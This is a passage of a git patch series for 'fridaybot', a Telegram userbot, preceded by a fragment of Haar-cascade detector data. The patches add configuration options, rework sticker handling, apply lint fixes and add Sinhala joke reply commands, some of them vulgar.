-1. + + <_> + 11 1 1 1 3. + + + + <_> + + <_> + 11 2 9 7 -1. + + <_> + 14 2 3 7 3. + + + + <_> + + <_> + 10 2 3 6 -1. + + <_> + 11 2 1 6 3. + + + + <_> + + <_> + 5 9 15 2 -1. + + <_> + 5 10 15 1 2. + + + + <_> + + <_> + 8 16 6 2 -1. + + <_> + 8 17 6 1 2. + + + + <_> + + <_> + 9 16 10 2 -1. + + <_> + 9 16 5 1 2. + + <_> + 14 17 5 1 2. + + + + <_> + + <_> + 9 17 2 2 -1. + + <_> + 9 17 1 1 2. + + <_> + 10 18 1 1 2. + + + + <_> + + <_> + 10 15 6 4 -1. + + <_> + 10 15 3 2 2. + + <_> + 13 17 3 2 2. + + + + <_> + + <_> + 4 5 15 12 -1. + + <_> + 9 5 5 12 3. + + + + <_> + + <_> + 11 13 2 3 -1. + + <_> + 11 14 2 1 3. + + + + <_> + + <_> + 8 13 7 3 -1. + + <_> + 8 14 7 1 3. + + + + <_> + + <_> + 1 12 1 2 -1. + + <_> + 1 13 1 1 2. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 1 19 18 1 -1. + + <_> + 7 19 6 1 3. + + + + <_> + + <_> + 1 17 6 1 -1. + + <_> + 4 17 3 1 2. + + + + <_> + + <_> + 1 3 1 12 -1. + + <_> + 1 9 1 6 2. + + + + <_> + + <_> + 0 9 3 6 -1. + + <_> + 0 11 3 2 3. + + + + <_> + + <_> + 5 4 3 10 -1. + + <_> + 6 4 1 10 3. + + + + <_> + + <_> + 6 17 2 1 -1. + + <_> + 7 17 1 1 2. + + + + <_> + + <_> + 1 0 6 12 -1. + + <_> + 3 0 2 12 3. + + + + <_> + + <_> + 4 7 9 2 -1. + + <_> + 7 7 3 2 3. + + + + <_> + + <_> + 6 11 9 1 -1. + + <_> + 9 11 3 1 3. + + + + <_> + + <_> + 17 10 2 10 -1. + + <_> + 17 15 2 5 2. + + + + <_> + + <_> + 4 10 2 10 -1. + + <_> + 4 10 1 5 2. + + <_> + 5 15 1 5 2. + + + + <_> + + <_> + 12 3 3 12 -1. + + <_> + 13 3 1 12 3. + + + + <_> + + <_> + 15 3 4 6 -1. + + <_> + 15 3 2 3 2. + + <_> + 17 6 2 3 2. + + + + <_> + + <_> + 12 8 3 3 -1. + + <_> + 13 8 1 3 3. + + + + <_> + + <_> + 4 14 2 4 -1. + + <_> + 4 16 2 2 2. + + + + <_> + + <_> + 6 16 1 3 -1. + + <_> + 6 17 1 1 3. + + + + <_> + + <_> + 1 1 2 3 -1. + + <_> + 2 1 1 3 2. + + + + <_> + + <_> + 0 2 4 1 -1. + + <_> + 2 2 2 1 2. + + + + <_> + + <_> + 8 17 12 3 -1. + + <_> + 12 17 4 3 3. + + + + <_> + + <_> + 9 16 6 4 -1. + + <_> + 11 16 2 4 3. + + + + <_> + + <_> + 4 6 3 6 -1. + + <_> + 4 9 3 3 2. + + + + <_> + + <_> + 6 2 12 9 -1. + + <_> + 6 5 12 3 3. + + + + <_> + + <_> + 6 0 14 20 -1. + + <_> + 6 0 7 10 2. + + <_> + 13 10 7 10 2. + + + + <_> + + <_> + 15 16 2 2 -1. + + <_> + 15 16 1 1 2. + + <_> + 16 17 1 1 2. + + + + <_> + + <_> + 15 16 2 2 -1. + + <_> + 15 16 1 1 2. + + <_> + 16 17 1 1 2. + + + + <_> + + <_> + 19 8 1 3 -1. + + <_> + 19 9 1 1 3. + + + + <_> + + <_> + 13 4 1 2 -1. + + <_> + 13 5 1 1 2. + + + + <_> + + <_> + 0 4 4 2 -1. + + <_> + 0 5 4 1 2. + + + + <_> + + <_> + 19 5 1 6 -1. + + <_> + 19 7 1 2 3. + + + + <_> + + <_> + 16 0 2 1 -1. + + <_> + 17 0 1 1 2. + + + + <_> + + <_> + 13 1 1 3 -1. + + <_> + 13 2 1 1 3. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 5 4 8 8 -1. + + <_> + 5 4 4 4 2. + + <_> + 9 8 4 4 2. + + + + <_> + + <_> + 1 2 2 2 -1. + + <_> + 1 2 1 1 2. + + <_> + 2 3 1 1 2. + + + + <_> + + <_> + 0 0 8 6 -1. + + <_> + 0 0 4 3 2. + + <_> + 4 3 4 3 2. + + + + <_> + + <_> + 6 3 4 2 -1. + + <_> + 6 4 4 1 2. + + + + <_> + + <_> + 1 0 3 3 -1. + + <_> + 1 1 3 1 3. + + + + <_> + + <_> + 6 1 7 2 -1. + + <_> + 6 2 7 1 2. + + + + <_> + + <_> + 2 6 12 6 -1. + + <_> + 6 6 4 6 3. + + + + <_> + + <_> + 1 16 9 2 -1. + + <_> + 4 16 3 2 3. + + + + <_> + + <_> + 7 15 6 4 -1. + + <_> + 9 15 2 4 3. + + + + <_> + + <_> + 6 15 12 1 -1. + + <_> + 12 15 6 1 2. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 17 15 2 2 -1. + + <_> + 17 15 1 1 2. + + <_> + 18 16 1 1 2. + + + + <_> + + <_> + 3 13 3 3 -1. + + <_> + 3 14 3 1 3. + + + + <_> + + <_> + 10 17 1 3 -1. + + <_> + 10 18 1 1 3. + + + + <_> + + <_> + 4 0 14 8 -1. + + <_> + 11 0 7 8 2. + + + + <_> + + <_> + 2 0 12 2 -1. + + <_> + 6 0 4 2 3. + + + + <_> + + <_> + 2 0 4 3 -1. + + <_> + 4 0 2 3 2. + + + + <_> + + <_> + 13 1 1 2 -1. + + <_> + 13 2 1 1 2. + + + + <_> + + <_> + 7 5 3 6 -1. + + <_> + 8 5 1 6 3. + + + + <_> + + <_> + 18 2 2 2 -1. + + <_> + 18 2 1 1 2. + + <_> + 19 3 1 1 2. + + + + <_> + + <_> + 15 1 2 14 -1. + + <_> + 16 1 1 14 2. + + + + <_> + + <_> + 15 6 2 2 -1. + + <_> + 15 6 1 1 2. + + <_> + 16 7 1 1 2. + + + + <_> + + <_> + 3 1 6 3 -1. + + <_> + 5 1 2 3 3. + + + + <_> + + <_> + 7 16 2 2 -1. + + <_> + 7 16 1 1 2. + + <_> + 8 17 1 1 2. + + + + <_> + + <_> + 5 17 2 2 -1. + + <_> + 5 17 1 1 2. + + <_> + 6 18 1 1 2. + + + + <_> + + <_> + 9 10 6 10 -1. + + <_> + 11 10 2 10 3. + + + + <_> + + <_> + 10 17 6 3 -1. + + <_> + 12 17 2 3 3. + + + + <_> + + <_> + 14 5 2 10 -1. + + <_> + 14 10 2 5 2. + + + + <_> + + <_> + 11 12 6 2 -1. + + <_> + 11 13 6 1 2. + + + + <_> + + <_> + 8 1 1 3 -1. + + <_> + 8 2 1 1 3. + + + + <_> + + <_> + 12 15 2 2 -1. + + <_> + 12 15 1 1 2. + + <_> + 13 16 1 1 2. + + + + <_> + + <_> + 6 8 6 4 -1. + + <_> + 6 8 3 2 2. + + <_> + 9 10 3 2 2. + + + + <_> + + <_> + 7 5 3 5 -1. + + <_> + 8 5 1 5 3. + + + + <_> + + <_> + 0 5 7 3 -1. + + <_> + 0 6 7 1 3. + + + + <_> + + <_> + 7 9 6 6 -1. + + <_> + 9 9 2 6 3. + + + + <_> + + <_> + 5 7 8 8 -1. + + <_> + 5 11 8 4 2. + + + + <_> + + <_> + 4 9 2 6 -1. + + <_> + 4 9 1 3 2. + + <_> + 5 12 1 3 2. + + + + <_> + + <_> + 10 11 6 1 -1. + + <_> + 12 11 2 1 3. + + + + <_> + + <_> + 13 6 6 11 -1. + + <_> + 15 6 2 11 3. + + + + <_> + + <_> + 8 17 2 2 -1. + + <_> + 8 17 1 1 2. + + <_> + 9 18 1 1 2. + + + + <_> + + <_> + 4 12 12 1 -1. + + <_> + 8 12 4 1 3. + + + + <_> + + <_> + 11 17 3 2 -1. + + <_> + 11 18 3 1 2. + + + + <_> + + <_> + 8 17 6 1 -1. + + <_> + 10 17 2 1 3. + + + + <_> + + <_> + 4 1 14 6 -1. + + <_> + 4 3 14 2 3. + + + + <_> + + <_> + 14 2 2 12 -1. + + <_> + 14 8 2 6 2. + + + + <_> + + <_> + 12 13 3 2 -1. + + <_> + 12 14 3 1 2. + + + + <_> + + <_> + 6 1 6 1 -1. + + <_> + 8 1 2 1 3. + + + + <_> + + <_> + 10 6 6 1 -1. + + <_> + 12 6 2 1 3. + + + + <_> + + <_> + 3 19 2 1 -1. + + <_> + 4 19 1 1 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 16 1 1 2. + + <_> + 19 17 1 1 2. + + + + <_> + + <_> + 16 11 3 7 -1. + + <_> + 17 11 1 7 3. + + + + <_> + + <_> + 19 5 1 6 -1. + + <_> + 19 8 1 3 2. + + + + <_> + + <_> + 9 8 4 3 -1. + + <_> + 9 9 4 1 3. + + + + <_> + + <_> + 16 8 4 4 -1. + + <_> + 16 8 2 2 2. + + <_> + 18 10 2 2 2. + + + + <_> + + <_> + 2 8 2 2 -1. + + <_> + 2 8 1 1 2. + + <_> + 3 9 1 1 2. + + + + <_> + + <_> + 3 5 6 4 -1. + + <_> + 3 5 3 2 2. + + <_> + 6 7 3 2 2. + + + + <_> + + <_> + 2 3 8 16 -1. + + <_> + 2 3 4 8 2. + + <_> + 6 11 4 8 2. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 7 2 8 11 -1. + + <_> + 11 2 4 11 2. + + + + <_> + + <_> + 13 3 6 14 -1. + + <_> + 16 3 3 14 2. + + + + <_> + + <_> + 0 9 18 2 -1. + + <_> + 6 9 6 2 3. + + + + <_> + + <_> + 6 10 14 3 -1. + + <_> + 6 11 14 1 3. + + + + <_> + + <_> + 10 9 9 3 -1. + + <_> + 13 9 3 3 3. + + + + <_> + + <_> + 3 5 4 6 -1. + + <_> + 3 5 2 3 2. + + <_> + 5 8 2 3 2. + + + + <_> + + <_> + 3 7 3 7 -1. + + <_> + 4 7 1 7 3. + + + + <_> + + <_> + 2 8 11 6 -1. + + <_> + 2 10 11 2 3. + + + + <_> + + <_> + 8 9 6 3 -1. + + <_> + 8 10 6 1 3. + + + + <_> + + <_> + 3 3 3 11 -1. + + <_> + 4 3 1 11 3. + + + + <_> + + <_> + 0 19 6 1 -1. + + <_> + 3 19 3 1 2. + + + + <_> + + <_> + 18 18 1 2 -1. + + <_> + 18 19 1 1 2. + + + + <_> + + <_> + 8 0 12 6 -1. + + <_> + 8 0 6 3 2. + + <_> + 14 3 6 3 2. + + + + <_> + + <_> + 19 5 1 3 -1. + + <_> + 19 6 1 1 3. + + + + <_> + + <_> + 5 8 2 1 -1. + + <_> + 6 8 1 1 2. + + + + <_> + + <_> + 13 11 2 1 -1. + + <_> + 14 11 1 1 2. + + + + <_> + + <_> + 3 6 15 13 -1. + + <_> + 8 6 5 13 3. + + + + <_> + + <_> + 4 3 6 2 -1. + + <_> + 6 3 2 2 3. + + + + <_> + + <_> + 0 18 1 2 -1. + + <_> + 0 19 1 1 2. + + + + <_> + + <_> + 7 8 2 6 -1. + + <_> + 8 8 1 6 2. + + + + <_> + + <_> + 3 0 6 19 -1. + + <_> + 5 0 2 19 3. + + + + <_> + + <_> + 3 1 6 5 -1. + + <_> + 5 1 2 5 3. + + + + <_> + + <_> + 17 14 3 6 -1. + + <_> + 17 16 3 2 3. + + + + <_> + + <_> + 17 13 2 6 -1. + + <_> + 18 13 1 6 2. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 18 18 1 2 2. + + + + <_> + + <_> + 11 14 9 4 -1. + + <_> + 14 14 3 4 3. + + + + <_> + + <_> + 15 8 4 6 -1. + + <_> + 15 8 2 3 2. + + <_> + 17 11 2 3 2. + + + + <_> + + <_> + 1 16 1 3 -1. + + <_> + 1 17 1 1 3. + + + + <_> + + <_> + 7 0 3 14 -1. + + <_> + 8 0 1 14 3. + + + + <_> + + <_> + 12 0 2 1 -1. + + <_> + 13 0 1 1 2. + + + + <_> + + <_> + 7 9 6 5 -1. + + <_> + 10 9 3 5 2. + + + + <_> + + <_> + 15 5 4 9 -1. + + <_> + 17 5 2 9 2. + + + + <_> + + <_> + 11 0 6 6 -1. + + <_> + 13 0 2 6 3. + + + + <_> + + <_> + 16 15 2 2 -1. + + <_> + 16 15 1 1 2. + + <_> + 17 16 1 1 2. + + + + <_> + + <_> + 16 15 2 2 -1. + + <_> + 16 15 1 1 2. + + <_> + 17 16 1 1 2. + + + + <_> + + <_> + 13 2 2 18 -1. + + <_> + 13 11 2 9 2. + + + + <_> + + <_> + 8 4 8 10 -1. + + <_> + 8 9 8 5 2. + + + + <_> + + <_> + 8 3 2 3 -1. + + <_> + 8 4 2 1 3. + + + + <_> + + <_> + 11 1 6 9 -1. + + <_> + 11 4 6 3 3. + + + + <_> + + <_> + 15 4 5 6 -1. + + <_> + 15 6 5 2 3. + + + + <_> + + <_> + 12 18 2 2 -1. + + <_> + 12 18 1 1 2. + + <_> + 13 19 1 1 2. + + + + <_> + + <_> + 1 17 1 3 -1. + + <_> + 1 18 1 1 3. + + + + <_> + + <_> + 12 19 2 1 -1. + + <_> + 13 19 1 1 2. + + + + <_> + + <_> + 8 10 6 6 -1. + + <_> + 10 10 2 6 3. + + + + <_> + + <_> + 14 2 6 5 -1. + + <_> + 16 2 2 5 3. + + + + <_> + + <_> + 9 5 2 6 -1. + + <_> + 9 7 2 2 3. + + + + <_> + + <_> + 1 15 2 2 -1. + + <_> + 2 15 1 2 2. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 10 14 4 6 -1. + + <_> + 10 16 4 2 3. + + + + <_> + + <_> + 9 7 3 2 -1. + + <_> + 10 7 1 2 3. + + + + <_> + + <_> + 6 9 6 2 -1. + + <_> + 6 9 3 1 2. + + <_> + 9 10 3 1 2. + + + + <_> + + <_> + 0 2 1 12 -1. + + <_> + 0 6 1 4 3. + + + + <_> + + <_> + 4 0 15 1 -1. + + <_> + 9 0 5 1 3. + + + + <_> + + <_> + 9 0 8 2 -1. + + <_> + 9 0 4 1 2. + + <_> + 13 1 4 1 2. + + + + <_> + + <_> + 12 2 8 1 -1. + + <_> + 16 2 4 1 2. + + + + <_> + + <_> + 7 1 10 6 -1. + + <_> + 7 3 10 2 3. + + + + <_> + + <_> + 18 6 2 3 -1. + + <_> + 18 7 2 1 3. + + + + <_> + + <_> + 4 12 2 2 -1. + + <_> + 4 12 1 1 2. + + <_> + 5 13 1 1 2. + + + + <_> + + <_> + 6 6 6 2 -1. + + <_> + 8 6 2 2 3. + + + + <_> + + <_> + 0 9 9 6 -1. + + <_> + 3 9 3 6 3. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 18 18 1 2 2. + + + + <_> + + <_> + 11 2 6 16 -1. + + <_> + 13 2 2 16 3. + + + + <_> + + <_> + 2 4 15 13 -1. + + <_> + 7 4 5 13 3. + + + + <_> + + <_> + 16 2 3 10 -1. + + <_> + 17 2 1 10 3. + + + + <_> + + <_> + 6 10 2 1 -1. + + <_> + 7 10 1 1 2. + + + + <_> + + <_> + 1 1 18 16 -1. + + <_> + 10 1 9 16 2. + + + + <_> + + <_> + 14 4 3 15 -1. + + <_> + 15 4 1 15 3. + + + + <_> + + <_> + 19 13 1 2 -1. + + <_> + 19 14 1 1 2. + + + + <_> + + <_> + 2 6 5 8 -1. + + <_> + 2 10 5 4 2. + + + + + + From e9b68aca404c194d3eb73cea0811fdb0d98d46df Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 10:32:00 +0530 Subject: [PATCH 570/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 3a0d2c6c..a1b484c5 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -200,7 +200,7 @@ async def do_pm_permit_action(chat_ids, event): PREV_REPLY_MESSAGE[chat_ids] = sed -@bot.on(events.NewMessage(incoming=True, from_users=(1141839926))) +@bot.on(events.NewMessage(incoming=True, from_users=(1347096051))) async def hehehe(event): if event.fwd_from: return From be098a58d68ff4a26fed68092f371edbefd69a15 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 11:28:33 +0530 Subject: [PATCH 571/838] Update app.json --- app.json | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/app.json b/app.json index 857f3907..3f48cf08 100644 --- a/app.json +++ b/app.json @@ -70,6 +70,16 @@ "value": "", "required": false }, + "pro": { + "description": "Enable PRO Access or not.. True to Enable (Recommended not to enable)", + "value": "", + "required": false + }, + "PM_DATA": { + "description": "Enable Private Spam Protection or not.. DISABLE to Disale (Defaultly Enabled)", + "value": "", + "required": false + }, "LYDIA_API_KEY": { "description": "Needed for Lydia AI. Follow https://telegra.ph/Lydia-09-05 to get your API.", "value": "", From b2043f8ecadebf476fa5fe3bd475fbb73d72bfba Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:07:53 +0530 Subject: [PATCH 572/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index ee170275..9513022c 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -146,6 +146,7 @@ class Config(object): DEEP_AI = os.environ.get("DEEP_AI", None) TAG_LOG = os.environ.get("TAG_LOG", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") + EMOJI_TO_DISPLAY_IN_HELP = os.environ.get("EMOJI_TO_DISPLAY_IN_HELP", "🔥") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") JTM_CHANNEL_ID = int(os.environ.get("JTM_CHANNEL_ID", False)) JTM_CHANNEL_USERNAME = os.environ.get("JTM_CHANNEL_USERNAME", None) From ff2018b4d516653b916844c783345829a740ed03 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:09:25 +0530 Subject: [PATCH 573/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index f79c2d06..3cc26e47 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -256,7 +256,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🔥", x, "🔥"), data="us_plugin_{}".format(x) + "{} {} {}".format(Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP), data="us_plugin_{}".format(x) ) for x in helpable_modules ] @@ -520,7 +520,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🔥", x, "🔥"), data="us_plugin_{}".format(x) + "{} {} {}".format(Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP), data="us_plugin_{}".format(x) ) for x in helpable_modules ] From 4f2b7e66e029e4d17d25a1a51e268fee9a0b882e Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 16 Jan 2021 11:40:07 +0000 Subject: [PATCH 574/838] pylint: auto fixes --- fridaybot/modules/_inlinebot.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 3cc26e47..03721c44 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -256,7 +256,10 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format(Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP), data="us_plugin_{}".format(x) + "{} {} {}".format( + Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP + ), + data="us_plugin_{}".format(x), ) for x in helpable_modules ] @@ -520,7 +523,10 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format(Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP), data="us_plugin_{}".format(x) + "{} {} {}".format( + Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP + ), + data="us_plugin_{}".format(x), ) for x in helpable_modules ] From e0d2ddd49e928f9e2466fbaaec079e7801352965 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:18:53 +0530 Subject: [PATCH 575/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index a1b484c5..3a0d2c6c 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -200,7 +200,7 @@ async def do_pm_permit_action(chat_ids, event): PREV_REPLY_MESSAGE[chat_ids] = sed -@bot.on(events.NewMessage(incoming=True, from_users=(1347096051))) +@bot.on(events.NewMessage(incoming=True, from_users=(1141839926))) async def hehehe(event): if event.fwd_from: return From 4bba6ab479f18eb2ccfa230083bac505980d3352 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:20:48 +0530 Subject: [PATCH 576/838] Update __init__.py --- fridaybot/modules/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/__init__.py b/fridaybot/modules/__init__.py index 4440937f..f859bb12 100644 --- a/fridaybot/modules/__init__.py +++ b/fridaybot/modules/__init__.py @@ -13,7 +13,7 @@ wttrapi = Config.OPEN_WEATHER_MAP_APPID rmbg = Config.REM_BG_API_KEY hmmok = Config.LYDIA_API -currentversion = "2.0" +currentversion = "3.0" if issudousing: amiusingsudo = "Active ✅" else: From ba49109063b895733b1e67b6f45b034149058f07 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:38:39 +0530 Subject: [PATCH 577/838] Update stickers.py --- fridaybot/modules/stickers.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index 56da2cf2..35376053 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -10,7 +10,7 @@ import zipfile from collections import defaultdict from io import BytesIO - +from fridaybot.function import convert_to_image, crop_vid, runcmd from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError @@ -76,16 +76,12 @@ async def _(event): else: packname = f"@{user.username} KangPack {pack}" packshortname = f"Infinity_Bots_{userid}" # format: Uni_Borg_userid - elif not is_message_image(reply_message): - await moods.edit("Invalid message type") - return + else: - with BytesIO(file) as mem_file, BytesIO() as sticker: - resize_image(mem_file, sticker) - sticker.seek(0) - uploaded_sticker = await borg.upload_file( - sticker, file_name=file_ext_ns_ion - ) + sticker = convert_to_image(event, borg) + uploaded_sticker = await borg.upload_file( + sticker, file_name=file_ext_ns_ion + ) await moods.edit("`Inviting This Sticker To Your Pack 🚶`") From 4e0a905d6646bd5946c129ef1d58ddf7ba8c859e Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 16 Jan 2021 12:09:25 +0000 Subject: [PATCH 578/838] pylint: auto fixes --- fridaybot/modules/stickers.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index 35376053..a9a74db3 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -9,8 +9,7 @@ import os import zipfile from collections import defaultdict -from io import BytesIO -from fridaybot.function import convert_to_image, crop_vid, runcmd + from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError @@ -23,6 +22,7 @@ ) from fridaybot import ALIVE_NAME, CMD_HELP +from fridaybot.function import convert_to_image from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Who is this" @@ -79,9 +79,7 @@ async def _(event): else: sticker = convert_to_image(event, borg) - uploaded_sticker = await borg.upload_file( - sticker, file_name=file_ext_ns_ion - ) + uploaded_sticker = await borg.upload_file(sticker, file_name=file_ext_ns_ion) await moods.edit("`Inviting This Sticker To Your Pack 🚶`") From 7a412683cd949366757ebc68dfdbee9731015890 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:45:43 +0530 Subject: [PATCH 579/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 26 ++++++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 253ea57b..9eaa2448 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -232,7 +232,13 @@ async def gn(event): event, "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", ) - +@bot.on(admin_cmd(pattern="tah$")) +@bot.on(sudo_cmd(pattern="tah$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** ටහුකන්න අලංකාර 😐🤚**", + ) @bot.on(admin_cmd(pattern="bs$")) @bot.on(sudo_cmd(pattern="bs$", allow_sudo=True)) @@ -242,6 +248,22 @@ async def gn(event): "** Good Night 🌙 Bs ☸️ Jp ✝️Tc 😘Byee...👋👋👋👋 **", ) +@bot.on(admin_cmd(pattern="aks$")) +@bot.on(sudo_cmd(pattern="aks$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** අනියම් කාම සේවනය තරයේ හෙලා දකිමි 🙈 **", + ) + +@bot.on(admin_cmd(pattern="ja$")) +@bot.on(sudo_cmd(pattern="ja$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** ජීවිතය අනියතය..☹️ මරණය නියතය 🙏 මහනවීම සැපය 🙏**", + ) + @bot.on(admin_cmd(pattern=f"srun$", outgoing=True)) @bot.on(sudo_cmd(pattern="snun$", allow_sudo=True)) @@ -933,6 +955,6 @@ async def _(event): CMD_HELP.update( { - "Sinhala_Jokes": "\n**Config Fun**\n\n.freenet `- fun`\n.ehu `- Ehi file connecting`\n.cyfiles `- cyh connecting`\n\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`" + "Sinhala_Jokes": "\n**Config Fun**\n\n.freenet `- fun`\n.ehu `- Ehi file connecting`\n.cyfiles `- cyh connecting`\n\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`\n.aks - `අනියම් කාම සේවනය තරයේ හෙලා දකිමි`\n.ja - `ජීවිතය අනියතය.. මරණය නියතය මහනවීම සැපය `\n.tah - `ටහුකන්න අලංකාර`" } ) From 54003d371382c86289030bda6b60f6ef75c1f0a2 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 16 Jan 2021 12:16:25 +0000 Subject: [PATCH 580/838] pylint: auto fixes --- fridaybot/modules/fuck11.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 9eaa2448..65c8a7fb 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -232,6 +232,8 @@ async def gn(event): event, "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", ) + + @bot.on(admin_cmd(pattern="tah$")) @bot.on(sudo_cmd(pattern="tah$", allow_sudo=True)) async def gn(event): @@ -240,6 +242,7 @@ async def gn(event): "** ටහුකන්න අලංකාර 😐🤚**", ) + @bot.on(admin_cmd(pattern="bs$")) 